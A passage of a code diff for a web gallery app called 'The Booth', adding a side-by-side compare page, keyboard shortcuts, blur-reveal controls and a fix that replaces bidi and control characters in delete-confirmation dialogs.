function fromViewport() {
|
||||
/* ⚠ `.rail` IS A CROSS-FILE CONTRACT, read by two scripts in two files
|
||||
owned by two different agents: this one, and the --rail-h measuring
|
||||
script in base.html that publishes the rail's height for
|
||||
the page's `scroll-padding-top` (as S5c; it was `.item`'s
|
||||
`scroll-margin-top`) — the rail wraps, so no CSS number can know it.
|
||||
RENAMING IT BREAKS BOTH, and neither breaks loudly — this one falls back
|
||||
to treating the viewport top as the boundary and starts the cursor one
|
||||
tile too high; that one falls back to a fixed guess. base.html carries
|
||||
the mirror of this note above the `.rail` rule. Agreed with design-dev
|
||||
2026-09-23 during the SVOS retheme, which is the change that made the
|
||||
selector load-bearing in two places instead of one. */
|
||||
var t = tiles(), rail = document.querySelector('.rail');
|
||||
var top = rail ? rail.getBoundingClientRect().bottom : 0;
|
||||
for (var i = 0; i < t.length; i++) {
|
||||
if (t[i].getBoundingClientRect().bottom > top) return i;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
function click(sel) {
|
||||
var el = current(); if (!el) return;
|
||||
var b = el.querySelector(sel); if (b) b.click();
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
/* as S5c (G6): never a key the focused element uses itself — a field's, a
|
||||
player's, a control's Space (base.html, BoothKeys). */
|
||||
if (BoothKeys.theirs(e)) return;
|
||||
locate();
|
||||
switch (e.key) {
|
||||
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1); e.preventDefault(); break;
|
||||
case 'ArrowLeft': focus(at < 0 ? fromViewport() : at - 1); e.preventDefault(); break;
|
||||
/* `.flagbtn` never existed in this repo, so this fell through to the
|
||||
HIDDEN target input — and clicking a hidden input does not submit its
|
||||
form. `f` has never worked, while still swallowing the keystroke.
|
||||
Found by the heid bug-hunt panel (hulda), 2026-09-22. */
|
||||
case 'f': click('.flagtoggle button'); e.preventDefault(); break;
|
||||
case 'n': var el = current();
|
||||
/* The add-note field lives in a closed <details> (270 tiles
|
||||
must not each carry an open textarea); a closed one cannot
|
||||
take focus, so open it first. */
|
||||
var d = el && el.querySelector('details.item-addnote');
|
||||
if (d) d.open = true;
|
||||
/* ...and on a doc, the fold whose body holds it (as S5c, heid
|
||||
bug-hunt R10): a closed fold hides the field too. */
|
||||
var fold = el && el.querySelector('details.doc-fold');
|
||||
if (fold) fold.open = true;
|
||||
if (el) { var f = el.querySelector('input[type=text], textarea');
|
||||
if (f) { f.focus(); e.preventDefault(); } }
|
||||
break;
|
||||
/* Enter opens the cursor tile's review only from the page itself: the
|
||||
body, the grid, or the tile. Never from a control (its own Enter) or
|
||||
any other focused node. The review link is `view?f=`, never a prefix
|
||||
of it: a media tile's download link comes first, and for a file named
|
||||
`views.webm` its href starts with "view" too (heid bug-hunt R5). */
|
||||
case 'Enter':
|
||||
if (e.target === document.body || e.target === grid || tiles().indexOf(e.target) >= 0) {
|
||||
click('a[href^="view?f="]');
|
||||
}
|
||||
break;
|
||||
/* Escape clears the cursor, and gives focus back to the page when the
|
||||
cursor tile holds it: no ring is left behind without the reticle. */
|
||||
case 'Escape':
|
||||
var was = current();
|
||||
if (was && document.activeElement === was) was.blur();
|
||||
at = -1; cur = null; mark(); break;
|
||||
}
|
||||
});
|
||||
/* R2 C3: an in-place save swaps the tiles for fresh server-rendered ones,
|
||||
and the cursor is client state the server cannot render. Put it back on
|
||||
the same position — the order did not change, only the judgment. */
|
||||
document.addEventListener('booth:swapped', function () {
|
||||
if (locate() < 0) return;
|
||||
mark();
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endif %}
|
||||
<script>
|
||||
/* Copy-to-clipboard for any .copy-btn[data-copy]. The Booth serves over plain
|
||||
HTTP on a LAN IP, where navigator.clipboard is undefined (secure-context
|
||||
@@ -269,17 +661,26 @@
|
||||
});
|
||||
})();
|
||||
|
||||
/* Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
|
||||
inside <summary>, so without this its click would just toggle the <details>
|
||||
open/closed — stopPropagation + preventDefault make ✕ mean "close", not
|
||||
"collapse". Collapse stays available via the rest of the summary bar. With
|
||||
JS off the button is inert and collapse via <details> still works. */
|
||||
(function () {
|
||||
/* A form inside <summary> would otherwise collapse the doc on submit. */
|
||||
document.querySelectorAll('.doc-bar .blurtoggle').forEach(function (f) {
|
||||
f.addEventListener('click', function (ev) { ev.stopPropagation(); });
|
||||
});
|
||||
/* TILE CONTROLS, bound per node and RE-BOUND after an in-place swap (R2 C3):
|
||||
the swap puts fresh server-rendered tiles in the page, and a handler bound
|
||||
to the node it replaced goes with that node. `__bound` keeps a node from
|
||||
being bound twice.
|
||||
|
||||
Inline-doc ✕ closes (hides) a rendered doc for the session. It sits in the
|
||||
bar's tools, beside the fold's summary (as S5c, G7), so its click toggles
|
||||
nothing; stopPropagation + preventDefault are kept as belt and braces.
|
||||
Collapse is the summary's. With JS off the button is inert and collapse via
|
||||
<details> still works.
|
||||
|
||||
Blur reveal. WARNING: this handler previously sat after the content block's
|
||||
closing tag, which in a child template Jinja DISCARDS — the button rendered
|
||||
and did nothing, and two commits plus a README claimed click-to-reveal
|
||||
worked. Anything that must reach the page belongs inside the content
|
||||
block. Per-viewer and never persisted: a reload re-hides. */
|
||||
function bindTiles() {
|
||||
function once(el) { if (el.__bound) return false; el.__bound = true; return true; }
|
||||
document.querySelectorAll('.doc-close').forEach(function (btn) {
|
||||
if (!once(btn)) return;
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
@@ -287,8 +688,30 @@
|
||||
if (item) item.classList.add('is-closed');
|
||||
});
|
||||
});
|
||||
})();
|
||||
/* as S5c (G17): the glyph and the word flip in their own spans, so the
|
||||
name stays the words on screen and the item's .sr-only name stays put */
|
||||
function said(btn, on) {
|
||||
btn.querySelector('.rv-glyph').textContent = on ? '🙈' : '👁';
|
||||
btn.querySelector('.rv-word').textContent = on ? 'hide' : 'reveal';
|
||||
}
|
||||
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
|
||||
var fig = btn.closest('.item');
|
||||
/* a swap carries `revealed` across (base.html); the words follow it */
|
||||
said(btn, fig.classList.contains('revealed'));
|
||||
if (!once(btn)) return;
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
said(btn, fig.classList.toggle('revealed'));
|
||||
});
|
||||
});
|
||||
}
|
||||
bindTiles();
|
||||
document.addEventListener('booth:swapped', bindTiles);
|
||||
|
||||
/* RESTORED (heid bug-hunt, 2/4): R2's rewrite of the tile handlers above
|
||||
deleted this block with them. Its confirmations guard destructive
|
||||
actions, so it is back verbatim. */
|
||||
/* Link-board multi-select. PROGRESSIVE ENHANCEMENT: the checkboxes, the per-row
|
||||
× / ★, and the bulk 🗑 all submit as plain form POSTs with JS off — this only
|
||||
adds select-all, a live count, and disabling 🗑 when nothing is ticked. The
|
||||
@@ -333,10 +756,26 @@
|
||||
});
|
||||
}
|
||||
|
||||
/* ⚠ THE DIALOG'S TEXT IS WHAT THE OPERATOR APPROVES, and a board row's
|
||||
description and URL are written by any of seventeen agent handles. A bidi
|
||||
override (U+202E) or a newline in either REWRITES what he reads before
|
||||
consenting to a delete — the row shown is not the row removed. Escaping
|
||||
protects the PAGE; `confirm` renders a plain string and escaping does
|
||||
nothing for it.
|
||||
|
||||
Controls and bidi formatting render as U+FFFD: visibly mangled, never
|
||||
silently re-ordered. Same treatment and same helper shape as the wipe
|
||||
dialog on the Desk (design-dev, round Slate, who found this one too). */
|
||||
function shown(n) {
|
||||
return String(n).replace(
|
||||
/[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u202a-\u202e\u2066-\u2069]/g,
|
||||
'\ufffd');
|
||||
}
|
||||
|
||||
form.querySelectorAll('.board-rm-btn').forEach(function (btn) {
|
||||
btn.addEventListener('click', function (ev) {
|
||||
var d = btn.getAttribute('data-desc') || '';
|
||||
var u = btn.getAttribute('data-url') || '';
|
||||
var d = shown(btn.getAttribute('data-desc') || '');
|
||||
var u = shown(btn.getAttribute('data-url') || '');
|
||||
if (!confirm('Remove this link?\n\n' + d + '\n' + u + '\n\nThe rest of the board is untouched.')) {
|
||||
ev.preventDefault();
|
||||
}
|
||||
@@ -345,22 +784,5 @@
|
||||
|
||||
refresh();
|
||||
})();
|
||||
|
||||
/* Blur reveal. WARNING: this handler previously sat after the content
|
||||
block's closing tag, which in a
|
||||
child template Jinja DISCARDS — the button rendered and did nothing, and
|
||||
two commits plus a README claimed click-to-reveal worked. Anything that
|
||||
must reach the page belongs inside the content block. Verified now by
|
||||
grepping the SERVED html for this function, not the template for the text.
|
||||
Per-viewer and never persisted: a reload re-hides. */
|
||||
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
var fig = btn.closest('.item');
|
||||
var on = fig.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
|
||||
@@ -0,0 +1,275 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ sides.a.rel }} · {{ sides.b.rel }} · compare · {{ name }} · The Booth{% endblock %}
|
||||
{# data-booth: without it Reveal all's script and the head script's reveal
|
||||
restore both bail (r3 C6). #}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block body_attrs %} class="page-stage"{% endblock %}
|
||||
{# COMPARE (R3). Two items of the review ring side by side, one judgment each:
|
||||
flag the winner. The pair is two rels in the URL, always (INV-1); the active
|
||||
side and the linked stepping ride the URL as view state. Everything a mark
|
||||
can change is a `data-region` keyed by SIDE, never by rel (`a == b` would
|
||||
duplicate it) and never `item-` (the swap reads that as a stale tile). THE
|
||||
STAGES NEVER ARE: swapping one would restart a playing track.
|
||||
The root carries `review` so the review's blur, 1:1 and Reveal-all rules
|
||||
apply unchanged; `.compare` overrides its grid. #}
|
||||
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
|
||||
{% block content %}
|
||||
<h1 class="sr-only">compare {{ sides.a.rel }} and {{ sides.b.rel }}</h1>
|
||||
<div class="viewer review compare" data-linked="{{ '1' if linked else '0' }}">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="{{ back_url }}" title="back to the review of A (Esc)" aria-label="back to the review of A">✕</a>
|
||||
<span class="vname">compare <span class="cmp-vs"><span class="ord">{{ num(sides.a.ordinal) }}</span> · <span class="ord">{{ num(sides.b.ordinal) }}</span></span></span>
|
||||
<span class="vspacer"></span>
|
||||
<a class="vbtn cmp-step" data-step="both-prev" href="{{ steps.both_prev }}" title="both back (←)" aria-label="both back">‹‹</a>
|
||||
<a class="vbtn cmp-step" data-step="both-next" href="{{ steps.both_next }}" title="both forward (→)" aria-label="both forward">››</a>
|
||||
{# JS-only, like the stage toggle: without JS there are no keys to link,
|
||||
and the per-side and both-sides links above step either way. #}
|
||||
<button type="button" class="vbtn cmp-link" id="cmp-link" aria-pressed="{{ 'true' if linked else 'false' }}" hidden
|
||||
title="linked: ← and → move both sides (L)">{{ '⛓ linked' if linked else '⛓ unlinked' }}</button>
|
||||
{% if any_image %}
|
||||
<span class="vtoggle" id="vtoggle" hidden>
|
||||
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows (Z)">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" aria-label="1:1, natural pixels" title="natural pixels — drag to pan; both stages pan together (Z)">1:1</button>
|
||||
</span>
|
||||
{% endif %}
|
||||
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label"><span class="ra-glyph" aria-hidden="true">👁</span> <span class="ra-word">reveal all</span></span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
</div>
|
||||
|
||||
<div class="cmp-body">
|
||||
{% for key in ('a', 'b') %}{% set s = sides[key] %}{% set L = key | upper %}
|
||||
<section class="cmp-side{% if active == key %} is-active{% endif %}" data-side="{{ key }}" aria-label="side {{ L }}">
|
||||
<div class="cmp-head">
|
||||
<a class="cmp-step" data-step="{{ key }}-prev" href="{{ steps[key ~ '_prev'] }}" title="{{ L }} back" aria-label="{{ L }} back">‹</a>
|
||||
<div class="cmp-label" data-region="label-{{ key }}"><span class="cmp-letter">{{ L }}</span> <span class="ord">{{ num(s.ordinal) }}</span> <span class="cmp-name" title="{{ s.rel }}">{{ s.rel }}</span>{% if s.flagged %} <span class="cmp-flagged">✔ flagged</span>{% endif %}</div>
|
||||
<a class="cmp-step" data-step="{{ key }}-next" href="{{ steps[key ~ '_next'] }}" title="{{ L }} forward" aria-label="{{ L }} forward">›</a>
|
||||
<a class="cmp-review" href="{{ s.review }}" title="the full review of {{ s.rel }}">review {{ L }}</a>
|
||||
</div>
|
||||
<div class="cmp-stagewrap">
|
||||
<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}{% if s.blurred %} is-blurred{% endif %}" data-side="{{ key }}">
|
||||
{% if s.kind == 'image' %}<img src="{{ s.url }}" alt="{{ s.rel }}" draggable="false">
|
||||
{% elif s.kind == 'video' %}<video class="cmp-media" controls preload="metadata" src="{{ s.url }}"></video>
|
||||
{% else %}<audio class="cmp-media" controls preload="metadata" src="{{ s.url }}"></audio>
|
||||
{% endif %}
|
||||
</div>
|
||||
{# Over the stage, never inside its scrolled content; JS-only, so
|
||||
`hidden` until bound (the review's pattern). #}
|
||||
{# as S5c (G17): the name is the words on it, the side's letter as
|
||||
.sr-only text ("reveal A — blur is cosmetic", then "hide A") #}
|
||||
{% if s.blurred %}<button type="button" class="reveal cmp-reveal" data-side="{{ key }}" hidden><span class="rv-glyph" aria-hidden="true">👁</span> <span class="rv-word">reveal</span><span class="sr-only"> {{ L }}</span><span class="rv-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
</div>
|
||||
<div class="cmp-foot">
|
||||
<div class="cmp-flag" data-region="flag-{{ key }}">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ s.rel }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if s.flagged else '1' }}">
|
||||
<input type="hidden" name="back" value="compare">
|
||||
<input type="hidden" name="a" value="{{ sides.a.rel }}">
|
||||
<input type="hidden" name="b" value="{{ sides.b.rel }}">
|
||||
<input type="hidden" name="side" value="{{ active }}">
|
||||
<input type="hidden" name="link" value="{{ '1' if linked else '0' }}">
|
||||
<button class="vbtn vflag-btn{% if s.flagged %} is-flagged{% endif %}" id="cmp-flag-{{ key }}"
|
||||
title="{{ 'un-flag' if s.flagged else 'flag' }} {{ L }} ({{ L }})">{{ '✔ flagged' if s.flagged else '○ flag' }} {{ L }} <kbd>{{ L }}</kbd></button>
|
||||
</form>
|
||||
</div>
|
||||
{% if s.caption %}<div class="cmp-cap">{{ s.caption }}</div>{% endif %}
|
||||
</div>
|
||||
</section>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<div class="cmp-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> step · <kbd>A</kbd> <kbd>B</kbd> flag · <kbd>X</kbd> side · <kbd>L</kbd> link · <kbd>Z</kbd> Fit/1:1 · <kbd>Esc</kbd> review</div>
|
||||
|
||||
{# THE FILMSTRIP IS THE PICKER: the review ring in ring order. Without JS a
|
||||
frame is a link that replaces the active side from the URL (B by
|
||||
default); with JS a click replaces the side that is active NOW. #}
|
||||
<nav class="film" data-region="film" aria-label="pick from the set">
|
||||
{% for x in film %}
|
||||
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.blurred %} is-blurred{% endif %}{% if x.is_a %} is-a{% endif %}{% if x.is_b %} is-b{% endif %}{% if (active == 'a' and x.is_a) or (active == 'b' and x.is_b) %} is-active{% endif %}"
|
||||
href="{{ x.pick }}" data-rel="{{ x.name }}" data-pick-a="{{ x.pick_a }}" data-pick-b="{{ x.pick_b }}" title="{{ x.name }}">
|
||||
<span class="sr-only">{{ x.name }}</span>{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
|
||||
<span class="film-ord">{{ num(x.ordinal) }}</span>
|
||||
{%- if x.is_a or x.is_b %}<span class="film-ab">{{ 'A' if x.is_a }}{{ 'B' if x.is_b }}</span>{% endif -%}
|
||||
</a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
</div>
|
||||
{% include "_stage_js.html" %}
|
||||
<script>
|
||||
(function () {
|
||||
var BACK = {{ back_url|tojson }};
|
||||
var d = document.documentElement;
|
||||
var root = document.querySelector('.viewer.compare');
|
||||
var sides = {a: root.querySelector('.cmp-side[data-side="a"]'),
|
||||
b: root.querySelector('.cmp-side[data-side="b"]')};
|
||||
/* THE VIEW STATE (r3 C2): the active side and the linked stepping, read
|
||||
from the server's render of THIS URL, and written back into the URL in
|
||||
place whenever they change, so every step — a full page load — keeps
|
||||
them. Kept on the sides (never on a region: a save swaps regions). */
|
||||
var active = sides.a.classList.contains('is-active') ? 'a' : 'b';
|
||||
var linked = root.getAttribute('data-linked') !== '0';
|
||||
|
||||
/* A compare href with THIS page's view state: `side` and `link` dropped
|
||||
and re-added from the closed set, the pair's own params untouched (their
|
||||
encoding is the server's, never re-serialised here). */
|
||||
function withState(href) {
|
||||
var i = href.indexOf('?');
|
||||
if (i < 0) return href;
|
||||
var parts = href.slice(i + 1).split('#')[0].split('&').filter(function (p) {
|
||||
/* by the DECODED name: `%73ide=a` is `side=a` to the server */
|
||||
var n = p.split('=')[0];
|
||||
try { n = decodeURIComponent(n.replace(/\+/g, ' ')); } catch (e) {}
|
||||
return p && n !== 'side' && n !== 'link';
|
||||
});
|
||||
if (active === 'a') parts.push('side=a');
|
||||
if (!linked) parts.push('link=0');
|
||||
return href.slice(0, i) + '?' + parts.join('&');
|
||||
}
|
||||
function go(href) { window.location.href = href; }
|
||||
/* Every server-built link, the URL and the flag forms' landing fields
|
||||
follow the state; the strip's markers follow the active side. Run on
|
||||
every change of state and after a save swaps the regions. */
|
||||
function restate() {
|
||||
['a', 'b'].forEach(function (k) { sides[k].classList.toggle('is-active', k === active); });
|
||||
document.querySelectorAll('.film-f').forEach(function (f) {
|
||||
f.classList.toggle('is-active', f.classList.contains('is-' + active));
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (pick) f.setAttribute('href', withState(pick));
|
||||
});
|
||||
document.querySelectorAll('a[data-step]').forEach(function (a) {
|
||||
a.setAttribute('href', withState(a.getAttribute('href')));
|
||||
});
|
||||
document.querySelectorAll('.cmp-flag form').forEach(function (f) {
|
||||
var sd = f.querySelector('input[name="side"]'), ln = f.querySelector('input[name="link"]');
|
||||
if (sd) sd.value = active;
|
||||
if (ln) ln.value = linked ? '1' : '0';
|
||||
});
|
||||
root.setAttribute('data-linked', linked ? '1' : '0');
|
||||
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}
|
||||
}
|
||||
function setActive(k) { if (k !== active) { active = k; restate(); } }
|
||||
|
||||
/* THE LINKED TOGGLE (C3): JS-only, because without JS there are no keys to
|
||||
link; its state is the URL's `link`, and nothing else remembers it. */
|
||||
var lbtn = document.getElementById('cmp-link');
|
||||
function showLinked() {
|
||||
lbtn.setAttribute('aria-pressed', linked ? 'true' : 'false');
|
||||
lbtn.textContent = linked ? '⛓ linked' : '⛓ unlinked';
|
||||
}
|
||||
function setLinked(on) { linked = on; showLinked(); restate(); }
|
||||
lbtn.hidden = false;
|
||||
showLinked();
|
||||
lbtn.addEventListener('click', function () { setLinked(!linked); });
|
||||
|
||||
/* THE STAGES (C4): the shared machinery, attached once per stage; one mode
|
||||
for both, bound once, and only when a side is a picture. This page owns
|
||||
its own ResizeObserver, because `pannable` changes on resize. */
|
||||
var stages = ['a', 'b'].map(function (k) {
|
||||
var el = sides[k].querySelector('.vstage');
|
||||
return {k: k, el: el, st: BoothStage.attach(el, {img: el.querySelector('img')})};
|
||||
});
|
||||
function settleAll() { stages.forEach(function (s) { s.st.settle(); }); }
|
||||
var mode = null, toggle = document.getElementById('vtoggle');
|
||||
if (toggle) mode = BoothMode.bind({
|
||||
toggle: toggle,
|
||||
fit: document.getElementById('btn-fit'),
|
||||
one: document.getElementById('btn-one'),
|
||||
onChange: settleAll
|
||||
});
|
||||
if (window.ResizeObserver) {
|
||||
var ro = new ResizeObserver(settleAll);
|
||||
stages.forEach(function (s) { ro.observe(s.el); });
|
||||
} else window.addEventListener('resize', settleAll);
|
||||
/* A press on a stage makes its side the active one. */
|
||||
stages.forEach(function (s) {
|
||||
s.el.addEventListener('pointerdown', function () { setActive(s.k); });
|
||||
});
|
||||
|
||||
/* SYNCED PAN (C4). In 1:1 a scroll of either stage — a drag, a scrollbar,
|
||||
a wheel — puts the other at the SAME FRACTION of its own scrollable
|
||||
range, per axis; an axis with nothing to scroll on either side is left
|
||||
alone. A scroll the sync caused is recognised by where it landed and is
|
||||
never synced back, so there is no loop and no drift. */
|
||||
function sync(from, to) {
|
||||
var fx = from.scrollWidth - from.clientWidth, fy = from.scrollHeight - from.clientHeight;
|
||||
var tx = to.scrollWidth - to.clientWidth, ty = to.scrollHeight - to.clientHeight;
|
||||
var l = to.scrollLeft, t = to.scrollTop;
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;
|
||||
var was = [to.scrollLeft, to.scrollTop];
|
||||
to.scrollTo(l, t);
|
||||
if (to.scrollLeft !== was[0] || to.scrollTop !== was[1]) to.__synced = {l: to.scrollLeft, t: to.scrollTop};
|
||||
}
|
||||
stages.forEach(function (s, i) {
|
||||
var other = stages[1 - i].el;
|
||||
s.el.addEventListener('scroll', function () {
|
||||
var mine = s.el.__synced;
|
||||
if (mine) {
|
||||
s.el.__synced = null;
|
||||
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
|
||||
}
|
||||
if (!d.classList.contains('stage-one') || other === s.el) return;
|
||||
sync(s.el, other);
|
||||
}, {passive: true});
|
||||
});
|
||||
|
||||
/* Blur reveal per side — per-viewer, never persisted; cosmetic, and the
|
||||
button says so. Over the stage, never in its scrolled content. */
|
||||
root.querySelectorAll('.cmp-reveal').forEach(function (btn) {
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');
|
||||
btn.hidden = false;
|
||||
btn.addEventListener('click', function () {
|
||||
var on = stage.classList.toggle('revealed');
|
||||
btn.querySelector('.rv-glyph').textContent = on ? '🙈' : '👁';
|
||||
btn.querySelector('.rv-word').textContent = on ? 'hide' : 'reveal';
|
||||
btn.querySelector('.rv-note').hidden = on;
|
||||
});
|
||||
});
|
||||
|
||||
/* THE PICKER (C2): a click on a frame replaces the side that is active
|
||||
NOW. Delegated at the document, because a save replaces the frames. A
|
||||
modified click keeps the browser's own meaning (a new tab), with the
|
||||
href restate() keeps current. */
|
||||
document.addEventListener('click', function (e) {
|
||||
var f = e.target.closest && e.target.closest('.film-f');
|
||||
if (!f || e.defaultPrevented || e.button !== 0) return;
|
||||
if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) return;
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (!pick) return;
|
||||
e.preventDefault();
|
||||
go(withState(pick));
|
||||
});
|
||||
document.addEventListener('booth:swapped', restate);
|
||||
|
||||
/* THE KEYS (C3). EVERY key here is left to the focused element when it
|
||||
uses it, and to the browser whenever Ctrl, Meta or Alt is held: the
|
||||
review's rule, now one rule for both (as S5c, G6: base.html's
|
||||
BoothKeys). A focused player keeps every key; a focused 1:1 stage pans. */
|
||||
function step(dir) {
|
||||
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');
|
||||
var a = document.querySelector('a[data-step="' + which + '"]');
|
||||
if (a) go(withState(a.getAttribute('href')));
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (BoothKeys.theirs(e)) return;
|
||||
var k = e.key;
|
||||
if (k === 'Escape' || k === 'c' || k === 'C') go(BACK);
|
||||
else if (k === 'ArrowLeft') step(-1);
|
||||
else if (k === 'ArrowRight') step(1);
|
||||
/* Space steps only from nowhere in particular: never from a focused
|
||||
control (Space presses it) and never from a player on either stage;
|
||||
BoothKeys has already left it to them. */
|
||||
else if (k === ' ') {
|
||||
e.preventDefault();
|
||||
step(e.shiftKey ? -1 : 1);
|
||||
}
|
||||
else if (k === 'a' || k === 'A' || k === 'b' || k === 'B') {
|
||||
/* looked up at press time: a save may have replaced the button */
|
||||
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());
|
||||
if (btn) { e.preventDefault(); btn.click(); }
|
||||
}
|
||||
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');
|
||||
else if (k === 'l' || k === 'L') setLinked(!linked);
|
||||
else if ((k === 'z' || k === 'Z') && mode) mode.flip();
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endblock %}
|
||||
+50
-11
@@ -1,12 +1,16 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
<div class="docview">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)" aria-label="back to the gallery">✕</a>
|
||||
<span class="vname">{{ file }}</span>
|
||||
<span class="vspacer"></span>
|
||||
<a class="vbtn" href="{{ file_url }}?dl=1" title="download {{ file }}">⬇</a>
|
||||
{# Reveal all can lift this page's blur, so this page must be able to put it
|
||||
back (r2b, heid bug-hunt). #}
|
||||
{% if blurred %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label"><span class="ra-glyph" aria-hidden="true">👁</span> <span class="ra-word">reveal all</span></span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
<a class="vbtn" href="{{ file_url }}?dl=1" title="download {{ file }}" aria-label="download {{ file }}">⬇</a>
|
||||
</div>
|
||||
{# Same record, same reason as the image viewer: the sidecar that says what
|
||||
this doc IS travels with it to full-page view. #}
|
||||
@@ -16,25 +20,60 @@
|
||||
{% for m in marks if m.shape == 'note' %}<pre class="vnote">{{ m.text }}</pre>{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{# Blur honesty reaches the full page too (r2b, heid code-review): a blurred
|
||||
doc's own page rendered clear. Its reveal is per-page and JS-only, like the
|
||||
review stage's; Reveal all lifts it by the same <html> class. #}
|
||||
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">
|
||||
{# as S5c (G17): the name is the words on it, the glyph hidden #}
|
||||
{% if blurred %}<button type="button" class="reveal" id="docreveal" hidden><span class="rv-glyph" aria-hidden="true">👁</span> <span class="rv-word">reveal</span><span class="sr-only"> {{ file }}</span><span class="rv-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
{% if is_html %}
|
||||
<article class="markdown-body">{{ body|safe }}</article>
|
||||
{% else %}
|
||||
<pre class="textview">{{ body }}</pre>
|
||||
{% endif %}
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
/* .markdown-body and .textview now live in base.html (shared with the inline
|
||||
/* .markdown-body and .textview live in base.html (shared with the inline
|
||||
gallery view). Only the full-page layout wrapper is page-specific. */
|
||||
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 4rem}
|
||||
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 64px}
|
||||
.docview .vbar{margin:0 calc(-1 * clamp(12px,3vw,20px)) 20px;border-radius:0}
|
||||
.docview .textview{overflow-x:auto}
|
||||
.doccap{margin:.9rem 0 1.2rem;padding:.6rem .85rem;font-size:.85rem;line-height:1.5;
|
||||
color:var(--fg-1);background:var(--rk-surface,rgba(255,255,255,.04));
|
||||
border-left:2px solid var(--aus-bright-cyan,#42dcd1);border-radius:0 6px 6px 0;
|
||||
white-space:pre-wrap}
|
||||
.doccap{margin:0 0 20px;padding:8px 14px;font-size:var(--size-body);line-height:var(--leading-body);
|
||||
color:var(--text-body);border-left:3px solid var(--border-strong);white-space:pre-wrap}
|
||||
.docmarks{display:flex;flex-direction:column;gap:8px;margin:0 0 20px}
|
||||
.docbody{position:relative}
|
||||
.docbody.is-blurred .markdown-body,.docbody.is-blurred .textview{filter:blur(22px);transition:filter var(--dur-2)}
|
||||
.docbody.is-blurred.revealed .markdown-body,.docbody.is-blurred.revealed .textview,
|
||||
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}
|
||||
.reveal-all #docreveal{display:none}
|
||||
#docreveal{position:absolute;top:10px;left:10px;z-index:2;cursor:pointer;font-family:var(--font-mono);
|
||||
font-size:var(--size-micro);line-height:1;padding:6px 9px;border-radius:var(--radius-md);
|
||||
border:1px solid rgb(255 255 255 / .16);background:oklch(0.17 0.01 250 / .86);color:oklch(0.91 0.008 216)}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (e.key === 'Escape') window.location.href = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
});
|
||||
(function () {
|
||||
/* Escape leaves the page, so it must not fire from inside a field someone
|
||||
